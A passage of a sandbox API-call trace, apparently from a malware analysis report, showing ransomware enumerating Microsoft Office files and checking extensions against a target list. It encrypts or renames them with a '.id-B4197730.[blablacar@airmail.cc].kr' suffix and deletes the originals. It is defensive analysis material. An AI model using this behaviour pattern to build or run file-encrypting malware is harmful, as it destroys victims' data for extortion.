returned -1 [0102.422] lstrlenW (lpString=".pdf") returned 4 [0102.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString=".xls") returned 4 [0102.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.422] lstrlenW (lpString=".xlsx") returned 5 [0102.422] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.422] lstrlenW (lpString=".ppt") returned 4 [0102.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.423] lstrlenW (lpString=".zip") returned 4 [0102.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.423] lstrlenW (lpString=".rar") returned 4 [0102.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.423] lstrlenW (lpString=".bz2") returned 4 [0102.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.423] lstrlenW (lpString=".7z") returned 3 [0102.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.423] lstrlenW (lpString=".dbf") returned 4 [0102.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.423] lstrlenW (lpString=".1cd") returned 4 [0102.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0102.423] lstrlenW (lpString=".jpg") returned 4 [0102.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.423] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.423] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0102.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.424] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1261) returned 1 [0102.424] CloseHandle (hObject=0x36c) returned 1 [0102.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0102.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.424] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.424] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0102.425] GetLastError () returned 0x0 [0102.425] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.436] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.437] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0102.437] WriteFile (in: hFile=0x390, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.438] SetEndOfFile (hFile=0x390) returned 1 [0102.438] CloseHandle (hObject=0x390) returned 1 [0102.439] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0102.439] SetEndOfFile (hFile=0x36c) returned 1 [0102.440] CloseHandle (hObject=0x36c) returned 1 [0102.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0102.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.441] lstrlenW (lpString=".doc") returned 4 [0102.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.441] lstrlenW (lpString=".docx") returned 5 [0102.441] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.441] lstrlenW (lpString=".pdf") returned 4 [0102.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.441] lstrlenW (lpString=".xls") returned 4 [0102.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.441] lstrlenW (lpString=".xlsx") returned 5 [0102.441] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.442] lstrlenW (lpString=".ppt") returned 4 [0102.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.442] lstrlenW (lpString=".zip") returned 4 [0102.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.442] lstrlenW (lpString=".rar") returned 4 [0102.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.442] lstrlenW (lpString=".bz2") returned 4 [0102.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.442] lstrlenW (lpString=".7z") returned 3 [0102.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.442] lstrlenW (lpString=".dbf") returned 4 [0102.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.924] lstrlenW (lpString=".1cd") returned 4 [0102.924] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.924] lstrlenW (lpString=".jpg") returned 4 [0102.924] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.924] lstrlenW (lpString=".doc") returned 4 [0102.924] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.924] lstrlenW (lpString=".docx") returned 5 [0102.924] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.924] lstrlenW (lpString=".pdf") returned 4 [0102.924] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.924] lstrlenW (lpString=".xls") returned 4 [0102.924] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.924] lstrlenW (lpString=".xlsx") returned 5 [0102.924] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.924] lstrlenW (lpString=".ppt") returned 4 [0102.924] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.924] lstrlenW (lpString=".zip") returned 4 [0102.925] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.925] lstrlenW (lpString=".rar") returned 4 [0102.925] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.925] lstrlenW (lpString=".bz2") returned 4 [0102.925] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.925] lstrlenW (lpString=".7z") returned 3 [0102.925] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.925] lstrlenW (lpString=".dbf") returned 4 [0102.925] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.925] lstrlenW (lpString=".1cd") returned 4 [0102.925] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0102.925] lstrlenW (lpString=".jpg") returned 4 [0102.925] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.925] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.925] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0102.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.926] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2173046) returned 1 [0102.926] CloseHandle (hObject=0x398) returned 1 [0102.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0102.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0102.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.928] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc64 | out: lpNewFilePointer=0x0) returned 1 [0102.928] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc24 | out: lpNewFilePointer=0x0) returned 1 [0102.928] ReadFile (in: hFile=0x398, lpBuffer=0x338a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aafc30, lpOverlapped=0x0 | out: lpBuffer=0x338a058*, lpNumberOfBytesRead=0x2aafc30*=0x40000, lpOverlapped=0x0) returned 1 [0102.934] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc24 | out: lpNewFilePointer=0x0) returned 1 [0102.934] ReadFile (in: hFile=0x398, lpBuffer=0x33ca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aafc30, lpOverlapped=0x0 | out: lpBuffer=0x33ca058*, lpNumberOfBytesRead=0x2aafc30*=0x40000, lpOverlapped=0x0) returned 1 [0102.937] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.937] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc24 | out: lpNewFilePointer=0x0) returned 1 [0102.937] ReadFile (in: hFile=0x398, lpBuffer=0x340a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aafc30, lpOverlapped=0x0 | out: lpBuffer=0x340a058*, lpNumberOfBytesRead=0x2aafc30*=0x40000, lpOverlapped=0x0) returned 1 [0102.973] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0103.536] WriteFile (in: hFile=0x398, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2aafca8, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafca8*=0xc011a, lpOverlapped=0x0) returned 1 [0103.553] SetEndOfFile (hFile=0x398) returned 1 [0103.553] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x43aced8 [0103.559] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc74 | out: lpNewFilePointer=0x0) returned 1 [0103.559] WriteFile (in: hFile=0x398, lpBuffer=0x43aced8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aafc80, lpOverlapped=0x0 | out: lpBuffer=0x43aced8*, lpNumberOfBytesWritten=0x2aafc80*=0x40000, lpOverlapped=0x0) returned 1 [0103.562] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc74 | out: lpNewFilePointer=0x0) returned 1 [0103.562] WriteFile (in: hFile=0x398, lpBuffer=0x43aced8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aafc80, lpOverlapped=0x0 | out: lpBuffer=0x43aced8*, lpNumberOfBytesWritten=0x2aafc80*=0x40000, lpOverlapped=0x0) returned 1 [0103.565] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2aafc74 | out: lpNewFilePointer=0x0) returned 1 [0103.565] WriteFile (in: hFile=0x398, lpBuffer=0x43aced8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aafc80, lpOverlapped=0x0 | out: lpBuffer=0x43aced8*, lpNumberOfBytesWritten=0x2aafc80*=0x40000, lpOverlapped=0x0) returned 1 [0103.567] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43aced8 | out: hHeap=0x440000) returned 1 [0103.567] CloseHandle (hObject=0x398) returned 1 [0104.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.539] lstrlenW (lpString=".doc") returned 4 [0104.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.539] lstrlenW (lpString=".docx") returned 5 [0104.539] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0104.540] lstrlenW (lpString=".pdf") returned 4 [0104.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString=".xls") returned 4 [0104.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString=".xlsx") returned 5 [0104.540] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0104.540] lstrlenW (lpString=".ppt") returned 4 [0104.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.540] lstrlenW (lpString=".zip") returned 4 [0104.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.540] lstrlenW (lpString=".rar") returned 4 [0104.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString=".bz2") returned 4 [0104.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString=".7z") returned 3 [0104.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.540] lstrlenW (lpString=".dbf") returned 4 [0104.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.540] lstrlenW (lpString=".1cd") returned 4 [0104.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.540] lstrlenW (lpString=".jpg") returned 4 [0104.540] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.540] lstrlenW (lpString=".doc") returned 4 [0104.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.540] lstrlenW (lpString=".docx") returned 5 [0104.541] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0104.541] lstrlenW (lpString=".pdf") returned 4 [0104.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString=".xls") returned 4 [0104.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString=".xlsx") returned 5 [0104.541] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0104.541] lstrlenW (lpString=".ppt") returned 4 [0104.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.541] lstrlenW (lpString=".zip") returned 4 [0104.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.541] lstrlenW (lpString=".rar") returned 4 [0104.541] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString=".bz2") returned 4 [0104.541] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString=".7z") returned 3 [0104.541] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.541] lstrlenW (lpString=".dbf") returned 4 [0104.541] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.541] lstrlenW (lpString=".1cd") returned 4 [0104.541] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0104.541] lstrlenW (lpString=".jpg") returned 4 [0104.541] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.541] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.542] lstrlenW (lpString="AG00157_.GIF") returned 12 [0104.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.542] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4955) returned 1 [0104.542] CloseHandle (hObject=0x398) returned 1 [0104.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0104.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.543] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0104.543] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0104.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0104.543] GetLastError () returned 0x0 [0104.543] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x135b, lpOverlapped=0x0) returned 1 [0104.787] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x1360, lpOverlapped=0x0) returned 1 [0104.789] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0104.789] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0104.789] SetEndOfFile (hFile=0x358) returned 1 [0105.643] CloseHandle (hObject=0x358) returned 1 [0105.665] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.665] SetEndOfFile (hFile=0x398) returned 1 [0105.666] CloseHandle (hObject=0x398) returned 1 [0105.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0105.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.666] lstrlenW (lpString=".doc") returned 4 [0105.667] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.667] lstrlenW (lpString=".docx") returned 5 [0105.667] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.667] lstrlenW (lpString=".pdf") returned 4 [0105.667] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.667] lstrlenW (lpString=".xls") returned 4 [0105.667] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.667] lstrlenW (lpString=".xlsx") returned 5 [0105.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.667] lstrlenW (lpString=".ppt") returned 4 [0105.667] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.667] lstrlenW (lpString=".zip") returned 